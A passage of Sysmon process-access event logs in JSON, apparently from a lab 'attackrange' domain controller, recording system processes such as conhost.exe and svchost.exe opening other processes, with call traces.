11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-001086400100}\r\nSourceProcessId: 2212\r\nSourceThreadId: 2472\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-001086400100}","SourceProcessId":"2212","SourceThreadId":"2472","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00100F5C0100}\r\nSourceProcessId: 2312\r\nSourceThreadId: 2480\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00100F5C0100}","SourceProcessId":"2312","SourceThreadId":"2480","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-001087400100}\r\nSourceProcessId: 2204\r\nSourceThreadId: 2476\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-001087400100}","SourceProcessId":"2204","SourceThreadId":"2476","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010227B0100}\r\nSourceProcessId: 2396\r\nSourceThreadId: 2484\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001054400100}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010227B0100}","SourceProcessId":"2396","SourceThreadId":"2484","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001054400100}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 